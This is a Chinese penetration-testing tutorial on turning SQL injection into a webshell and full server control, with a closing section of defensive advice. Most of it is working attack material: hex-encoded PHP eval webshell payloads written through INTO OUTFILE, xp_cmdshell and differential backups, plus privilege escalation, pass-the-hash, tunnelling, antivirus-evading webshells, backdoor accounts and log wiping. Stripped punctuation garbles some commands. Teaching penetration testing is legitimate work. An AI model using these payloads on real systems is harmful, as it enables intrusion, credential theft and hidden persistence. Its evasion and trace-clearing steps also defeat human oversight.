SQL注入到Getshell实战:从数据库漏洞到系统控制的完整利用链

SQL注入到Getshell实战:从数据库漏洞到系统控制的完整利用链
1. 项目概述从SQL注入到系统Shell的完整路径在安全评估和渗透测试的实战中SQL注入SQL Injection始终是Web应用最经典、也最危险的漏洞之一。很多刚入门的朋友可能觉得找到一个SQL注入点能爆出数据库里的用户名密码或者拖个库就算“成功”了。这确实是成果但远不是终点。真正的价值在于如何将这个数据库层面的漏洞转化为对目标服务器的实际控制权也就是我们常说的“拿Shell”。这个过程是将一个信息泄露漏洞升级为远程代码执行RCE漏洞的关键一步也是检验一次渗透测试深度的重要标志。我遇到过不少案例测试人员发现了一个报错型注入或者盲注费了九牛二虎之力拿到了管理员后台的MD5密码结果撞库不成功或者后台有二次验证测试就卡住了。其实如果后端数据库是MySQL、MSSQL、PostgreSQL这类支持多语句或特定函数的数据库并且当前数据库用户权限足够高我们完全有机会直接通过SQL语句在服务器上写入一个Webshell从而获得一个命令执行的交互界面。这比单纯获取数据要直接和有效得多。今天要聊的就是这条完整的“利用链”从一个看似普通的SQL注入点开始如何一步步分析环境、选择方法、绕过限制最终在目标服务器上稳定地获取一个Shell。这个过程不仅涉及SQL语句的构造还涉及对服务器操作系统、Web中间件、数据库配置和权限体系的综合理解。我会结合常见的实战场景把每个环节的“为什么”和“怎么做”讲清楚并附上我踩过的一些坑和总结的技巧。无论你是正在学习渗透测试的新手还是想深化对漏洞利用理解的安全从业者这篇内容都能给你提供一个清晰的、可复现的实操框架。2. 核心思路与前置条件分析在动手之前盲目尝试是最低效的。我们必须先理清思路明确成功的必要条件。从SQL注入到Get Shell核心思路是利用数据库的某些功能向服务器Web目录写入一个可执行的脚本文件如PHP、ASP、JSP然后通过访问这个文件来执行系统命令。2.1 成功拿Shell的四大前提不是每一个SQL注入点都能通向Shell。它严重依赖于以下几个条件缺一不可数据库类型与特性支持目标数据库必须支持向服务器文件系统写入文件的功能。MySQL: 需要secure_file_priv参数为空或指向可写目录并且拥有FILE权限。常用SELECT ... INTO OUTFILE或SELECT ... INTO DUMPFILE语句。Microsoft SQL Server: 需要当前数据库用户拥有xp_cmdshell扩展存储过程的执行权限常用于直接执行命令或者拥有向Web目录写入文件的权限通过差异备份、sp_makewebtask或OLE Automation等。PostgreSQL: 需要超级用户权限或拥有pg_read_file和pg_write_file函数的执行权限或者利用COPY TO或lo_export函数。Oracle: 权限要求极高通常需要UTL_FILE包的执行权限来写文件。当前数据库用户具备高权限执行写文件操作通常需要DBA、root或sa级别的权限。一个普通的应用连接用户往往只有SELECT、INSERT等基本权限无法进行写文件操作。我们可以通过查询当前用户权限的函数来确认例如在MySQL中查询CURRENT_USER()或user()在MSSQL中查询IS_SRVROLEMEMBER(sysadmin)。知晓网站的绝对路径这是最关键也是最容易卡住的一步。我们必须知道Web应用程序在服务器上的物理路径如/var/www/html/、C:\inetpub\wwwroot\才能将Webshell写入正确的、能被HTTP访问到的位置。获取路径的方法有很多包括但不限于报错信息泄露、Load File读取配置文件如/etc/passwd、C:\Windows\System32\inetsrv\config\applicationHost.config、扫描器探测、利用数据库特性如MySQL的datadir推测等。目标目录具有写权限即使知道了路径数据库进程如mysqld、sqlservr运行时所使用的系统账户必须对该Web目录有写入权限。在Linux下可能需要www-data用户或mysql用户有写权限在Windows下可能是NETWORK SERVICE或IIS_IUSRS用户组。注意在实际渗透测试中这四个条件同时满足的情况并不像练习靶场那么常见。因此我们的思路应该是先验证后利用。通过注入点逐步收集信息数据库类型、版本、用户权限、路径线索判断条件成熟度再决定采用哪种写入方式甚至考虑是否需要先进行提权。2.2 环境探测与信息收集的SQL语句在确认存在SQL注入点后我们不应直奔主题去写Shell而应进行系统的信息收集。以下是一些在各类数据库中常用的探测语句数据库类型与版本通用/MySQL:SELECT version;或SELECT version();MSSQL:SELECT version;PostgreSQL:SELECT version();Oracle:SELECT * FROM v$version;当前数据库用户与权限MySQL:SELECT user(); -- 当前连接用户 SELECT super_priv FROM mysql.user WHERE user SUBSTRING_INDEX(USER(), , 1); -- 检查是否超级用户 SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee LIKE CONCAT(, SUBSTRING_INDEX(USER(), , 1), ); -- 查看详细权限MSSQL:SELECT SYSTEM_USER; -- 当前系统用户 SELECT IS_SRVROLEMEMBER(sysadmin); -- 是否是系统管理员返回1则是寻找Web路径利用报错故意构造错误的SQL语句或参数有时应用会返回包含路径的详细错误信息。读取系统文件需FILE权限:MySQL:SELECT LOAD_FILE(/etc/passwd);(Linux) 或SELECT LOAD_FILE(C:/Windows/System32/drivers/etc/hosts);(Windows)通过读取Web服务器配置文件来反推路径例如Apache的/etc/apache2/sites-available/000-default.conf或IIS的C:\Windows\System32\inetsrv\config\applicationHost.config。查询数据库内置信息:MySQL:SELECT datadir;(数据库数据目录Web目录可能在同一磁盘相邻位置)MSSQL: 通过查询一些系统表或尝试xp_dirtree等存储过程来列举目录但不如直接读取文件直接。测试写文件权限在获取疑似路径后可以先尝试写入一个无害的测试文件。MySQL:SELECT test INTO OUTFILE /var/www/html/test.txt;如果成功则证明路径正确且有写权限为写入Webshell铺平道路。3. 主流数据库的Webshell写入实战详解信息收集完毕条件基本满足后我们就可以针对不同的数据库类型采取具体的写入操作。这里我以最常见的MySQL和MSSQL为例拆解每一步。3.1 MySQL数据库写WebshellMySQL的INTO OUTFILE和INTO DUMPFILE是写文件的主要方式。OUTFILE会进行转义处理适合写文本数据DUMPFILE则进行原始写入适合二进制文件但在写Webshell文本时两者通常都可使用。场景一已知绝对路径有FILE权限secure_file_priv为空这是最理想的情况。假设我们通过报错得知网站根路径为/var/www/html/并且当前用户是root。写入基础PHP Webshell 我们写入一个最简单的PHP一句话木马内容为?php eval($_POST[cmd]);?。注意在SQL语句中字符串内的单引号需要进行转义或者使用十六进制编码来避免引号问题后者是更可靠的方法。方法A直接写需注意引号SELECT ?php eval($_POST[\cmd\]);? INTO OUTFILE /var/www/html/shell.php;这条语句在SQL中会因为嵌套的单引号而出错。更稳妥的方法是使用CHAR()函数或十六进制。方法B推荐使用十六进制编码 先将一句话木马转换成十六进制。?php eval($_POST[cmd]);?的十六进制是3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3ESELECT 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E INTO OUTFILE /var/www/html/shell.php;或者使用UNION SELECT联合查询的方式在原有的注入点后拼接... UNION SELECT 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E INTO OUTFILE /var/www/html/shell.php-- -验证与连接 写入成功后访问http://target.com/shell.php。使用中国菜刀、蚁剑、冰蝎等Webshell管理工具或者直接用curl/HackBrowser的POST功能进行连接。 例如用curl测试curl -X POST -d cmdecho Hello, World!; http://target.com/shell.php如果返回了Hello, World!则说明Webshell生效。场景二secure_file_priv被限制MySQL的secure_file_priv系统变量限制了INTO OUTFILE能写入的目录。如果它被设置为NULL则禁止写文件如果设置为某个目录如/var/lib/mysql-files/则只能写入该目录。查看设置SELECT secure_file_priv;应对策略写入指定目录如果变量指向一个目录尝试将Webshell写入该目录。但该目录通常不在Web路径下无法通过HTTP访问。此时可以考虑写入一个允许数据库读取的目录然后利用Web应用的“文件包含”漏洞去包含它。利用日志文件这是一条备选路径。通过SET GLOBAL general_log_file /var/www/html/shell.php;和SET GLOBAL general_log on;将MySQL的查询日志写到Web目录。然后执行SELECT ?php phpinfo();?;这句话会被记录到日志文件即我们的shell.php中。操作完成后记得关闭日志SET GLOBAL general_log off;。这个方法需要SUPER权限且动静较大。实操心得在MySQL写文件时最常遇到的两个错误是Cant create/write to file权限不足或路径错误和command denied to user无FILE权限。务必先通过信息收集确认权限和路径。另外写入的Webshell内容要尽可能短小精悍避免因特殊字符被过滤或转义导致写入失败。使用十六进制编码是最稳妥的方式。3.2 Microsoft SQL Server数据库写WebshellMSSQL的情况更为复杂方法也更多样其高权限sa账户的能力非常强大。场景一直接执行命令xp_cmdshell如果当前用户是sysadmin最直接的方式是启用xp_cmdshell并执行命令。这本身不是写Webshell而是直接拿到了系统命令执行权限我们可以用命令来写文件。启用xp_cmdshell默认可能被禁用EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE;执行命令写入Webshell 假设Web路径是C:\inetpub\wwwroot\。EXEC xp_cmdshell echo ^?php eval($_POST[cmd]);?^ C:\inetpub\wwwroot\shell.php;注意在xp_cmdshell的cmd环境中是重定向符、等符号需要转义或用^脱字符或者将命令写入批处理文件再执行。场景二差异备份写Webshell这是MSSQL中非常经典且常用的方法尤其当xp_cmdshell被禁用时。它利用数据库备份功能在备份文件中插入我们的Webshell代码。前提需要db_owner以上权限知道Web绝对路径并且该路径能被SQL Server服务账户写入。步骤 a.备份当前数据库先进行一次完整备份如果已有备份可跳过。BACKUP DATABASE [当前数据库名] TO DISK C:\backup.bak WITH INIT;b.创建一张表并插入Webshell代码CREATE TABLE [dbo].[shell] ([cmd] [image]); INSERT INTO [dbo].[shell](cmd) VALUES(0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E); -- 一句话的十六进制c.进行差异备份到Web路径BACKUP DATABASE [当前数据库名] TO DISK C:\inetpub\wwwroot\shell.php WITH DIFFERENTIAL, FORMAT;这行命令是关键。WITH DIFFERENTIAL, FORMAT使得备份文件shell.php的开头是数据库备份头信息后面会包含我们刚创建的shell表数据。由于PHP引擎会忽略?php ?标签之前的所有内容所以这个“不纯”的PHP文件依然可以被正常解析。清理可选DROP TABLE [dbo].[shell];场景三利用sp_makewebtask在较早版本的MSSQL如2000、2005中可以使用这个存储过程直接生成包含查询结果的Web页面。在高版本中可能已被移除。EXEC sp_makewebtask outputfileC:\inetpub\wwwroot\shell.php, querySELECT ?php phpinfo();?;注意事项MSSQL的写文件方法对路径中的反斜杠\非常敏感。在SQL语句中单个反斜杠是转义符因此路径通常要写成C:\\inetpub\\wwwroot\\shell.php或者使用C:/inetpub/wwwroot/shell.phpWindows也接受正斜杠。差异备份法生成的Webshell文件末尾会带有大量的备份数据文件体积较大但通常不影响使用。在实战中差异备份法是成功率相对较高的一种。4. 写入后的利用与权限提升成功写入Webshell并连接只是拿到了一个Web服务权限如www-data、IIS_IUSRS。这个权限通常比较低我们需要将其提升为更高级别的系统权限或者进行内网横向移动。4.1 基础信息收集通过Webshell连接Webshell后首先执行一些命令来了解服务器环境系统信息uname -a(Linux) 或systeminfo(Windows)当前用户whoami或id网络信息ipconfig /all或ifconfignetstat -ano(查看端口、连接)进程列表tasklist(Windows) 或ps aux(Linux)安装的软件/补丁wmic product get name,version(Windows) 或dpkg -l/rpm -qa(Linux)4.2 Linux系统提权常见思路内核漏洞提权使用uname -r查看内核版本搜索对应的公开Exp如DirtyCow、CVE-2021-4034等。在Webshell上传提权Exp源码编译执行。务必在授权测试的环境中进行。SUID/GUID文件滥用查找设置了SUID位的文件find / -perm -us -type f 2/dev/null。常见的如find、vim、bash、cp、nmap等如果配置不当可以利用它们来提权。例如利用find执行命令find / -exec /bin/bash -p \; -quit。环境变量劫持如果程序以高权限运行且调用了外部命令如通过system()调用ps可以通过篡改PATH环境变量来执行恶意的ps程序。计划任务/Cron Job检查/etc/crontab和/var/spool/cron/crontabs/看是否有以root权限运行的定时任务并且任务中的脚本或二进制文件我们有写权限可以覆盖它。密码/密钥嗅探与复用尝试读取/etc/shadow需root、~/.bash_history、~/.ssh/id_rsa等文件。4.3 Windows系统提权常见思路系统信息与补丁通过systeminfo查看系统版本和已安装的补丁寻找缺失的补丁对应的本地提权漏洞如PrintNightmare、CVE-2021-1675等。服务权限滥用服务路径/二进制文件权限使用wmic service get name,displayname,pathname,startmode | findstr /i auto查看自动启动的服务检查其可执行文件路径是否对我们可写。可写则可替换为恶意程序。不安全的服务配置使用accesschk.exeSysInternals工具或sc qc命令检查服务如果服务以高权限运行但其配置的“可执行文件的路径”参数BINARY_PATH_NAME可以被我们控制也可能导致提权。AlwaysInstallElevated检查注册表项HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated和HKLM\...如果两者都设置为1则任何MSI安装包都将以SYSTEM权限运行。我们可以制作恶意的MSI包来提权。令牌窃取与模仿如果拿到一个具有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限的账户如IIS AppPool账户通常有可以使用Rotten Potato、Juicy Potato等工具进行令牌模仿获取SYSTEM权限。计划任务类似Linux的Cron检查计划任务schtasks中是否有高权限任务并且其操作运行程序、脚本我们可以修改或影响。4.4 内网横向移动入门拿到一台内网机器的Shell后视野就从外网进入了内网。网络拓扑探测使用arp -a、ipconfig /all查看网关、DNS、netstat -ano查看当前连接来绘制简单的网络图。端口扫描在Webshell上传或使用内置的脚本/工具如/bin/bash下的简单for循环或PowerShell的Test-NetConnection对内网网段如192.168.1.0/24进行常见端口135, 139, 445, 1433, 3389等扫描。密码凭证获取与复用Windows尝试使用mimikatz需上传抓取内存中的明文密码或哈希。或者查找配置文件、注册表中的密码。Linux查找/etc/passwd和/etc/shadow尝试破解查找~/.ssh/下的密钥查找应用配置文件中的数据库连接字符串。传递攻击利用获取的密码哈希如NTLM Hash进行Pass-the-Hash攻击访问其他开启SMB445端口的机器。或者利用获取的明文密码进行远程桌面3389、SSH22、数据库1433, 3306等的登录尝试。搭建代理通道为了便于我们本地攻击机访问内网资源需要在“跳板机”已控机器上搭建代理。常用工具有reGeorg、EarthWorm、frp等。例如上传reGeorg的对应脚本如tunnel.aspx到Web目录然后在本地使用其提供的Python脚本连接即可建立一个SOCKS代理将内网流量转发出来。5. 实战中常见问题与排查技巧即使理论清晰实战中依然会碰到各种“妖魔鬼怪”。下面是我总结的一些典型问题及排查思路。5.1 Webshell写入失败排查表现象可能原因排查步骤与解决方案INTO OUTFILE语句执行成功但访问4041. 路径错误。2. 文件被安全软件删除。3. Web服务器配置如open_basedir限制。1. 尝试写入一个简单文本文件确认路径如SELECT test INTO OUTFILE /var/www/html/test.txt;然后访问http://target.com/test.txt。2. 检查文件是否真实存在通过数据库读文件函数LOAD_FILE。3. 尝试其他子目录或使用短路径、别名。报错Can‘t create/write to file1. 目录不存在。2. 数据库进程无写权限。3.secure_file_priv限制。1. 确认绝对路径拼写正确注意大小写Linux。2. 检查目录权限ls -la /var/www/html/(需通过其他方式)。尝试写入/tmp等临时目录测试写权限。3. 执行SELECT secure_file_priv;查看。报错Access denied for user当前数据库用户缺少FILE权限。确认当前用户权限。如果是MySQL尝试SELECT * FROM mysql.user WHERE File_priv Y AND User CURRENT_USER();。考虑联合其他漏洞如后台Getshell或提权。文件写入成功但访问时被解析为纯文本或下载1. 文件后缀不对如写成了.txt。2. Web服务器未配置解析该后缀。3. 文件内容被破坏如编码问题。1. 确保后缀是.php、.asp、.jsp等。2. 检查服务器中间件配置。可尝试.phtml、.php5等备用后缀。3. 检查写入内容确保?php ... ?标签完整使用十六进制编码避免转义问题。MSSQL差异备份文件巨大访问超时差异备份会将整个数据库差异部分写入文件体积大。这是正常现象。PHP会忽略?php之前的内容但Web服务器仍需传输整个文件。可以尝试写入一个极小的Webshell代码或者使用xp_cmdshell直接echo小文件。5.2 Webshell连接失败与隐藏连接工具报错“连接被重置”或“500错误”代码执行被禁用目标服务器可能禁用了eval、assert等危险函数。尝试使用其他函数如file_put_contents、system、passthru或者使用加密变形的Webshell。Webshell被WAF/杀软拦截请求或响应中包含特征码被拦截。尝试使用自定义的密码参数名不要用cmd、pass这种常见名或使用Base64编码传输命令在Webshell中解码执行。使用“冰蝎”、“哥斯拉”等工具它们通信流量有加密和混淆对抗检测能力较强。Session或Cookie验证有些Webshell会检查特定的Cookie或Session值需要你从写入的代码中查看验证逻辑。如何选择更隐蔽的Webshell免杀处理对Webshell代码进行混淆、加密、编码。例如使用base64_decode、gzuncompress、str_rot13等函数包裹核心代码。隐藏在正常文件中将一句话代码附加到现有的、合法的PHP文件末尾需要精确的写文件能力或者写入到图片的EXIF信息中需要文件包含漏洞配合。使用小众标签除了?php ?可以尝试script languagephp.../script仅在特定版本支持或者利用.htaccess设置AddType将其他后缀解析为PHP。5.3 权限维持与清理痕迹在授权测试中有时需要维持访问以进行深度测试但结束后必须清理痕迹。权限维持创建后门账户在系统中添加一个隐藏的管理员用户Windows或一个UID为0的账户Linux。安装SSH/RDP后门替换系统的SSH服务器程序或RDP动态库。计划任务/Cron设置定时任务定期从远程服务器下载并执行Payload或反向连接。Webshell持久化写入多个隐藏的、不同形态的Webshell到不同目录。清理痕迹删除上传的Webshell文件通过Webshell自身或数据库操作删除文件。清除数据库日志MSSQL可使用EXEC sp_delete ‘SQL注入查询语句’;不总是有效更彻底的是清理整个日志文件。MySQL的日志清理需要FILE权限。清除系统日志Linux下清理/var/log/下的相关日志auth.log, apache2/access.log等。Windows下使用wevtutil清除事件日志。注意在真实的渗透测试中清理痕迹应遵循授权范围。在红队评估中清理自身痕迹是必要步骤在合规的安全测试中可能要求保留证据。务必事先与客户或授权方明确规则。6. 防御视角与安全建议站在防御者角度理解攻击链条才能更好地进行防护。根本解决杜绝SQL注入使用参数化查询Prepared Statements或存储过程这是最有效的方法确保用户输入永远被当作数据处理而非代码。对输入进行严格的过滤和转义虽然不如参数化查询可靠但在所有输入点进行白名单验证、转义特殊字符如单引号、分号仍是必要的辅助手段。最小权限原则为Web应用连接数据库分配仅能满足其功能所需的最小权限账户坚决禁止使用root、sa等最高权限账户。通常只赋予SELECT、INSERT、UPDATE、DELETE权限绝不赋予FILE、EXECUTE执行存储过程、DROP等危险权限。错误信息处理自定义统一的错误页面避免将数据库的详细错误信息包含路径、SQL语句片段直接返回给用户。纵深防御增加攻击成本数据库安全配置MySQL设置secure_file_priv为指定的安全目录或NULL。禁用LOAD_FILE()等函数通过重命名或撤销权限。MSSQL禁用xp_cmdshell、OLE Automation Procedures等危险的扩展存储过程。定期审计sysadmin角色成员。文件系统权限确保Web目录的写入权限仅限Web服务器进程所需的最小范围。将数据库数据文件、日志文件与Web目录分离。Web应用防火墙WAF部署WAF可以拦截大部分自动化注入攻击和已知的Webshell上传请求。文件监控与杀毒软件在Web目录部署文件完整性监控FIM对新增的.php、.jsp、.asp等文件进行告警。服务器安装杀毒软件定期更新特征库。定期更新与漏洞扫描及时更新操作系统、数据库、Web中间件和应用程序的补丁。定期进行代码安全审计和渗透测试。从我个人的实战经验来看绝大多数成功的“SQL注入到Getshell”案例都源于开发阶段的安全意识缺失和运维阶段的配置疏忽。对于开发者将安全编码规范融入开发流程对于运维者遵循最小权限和默认拒绝的原则进行配置就能阻断这条攻击链的绝大部分环节。安全是一个持续的过程而非一劳永逸的状态。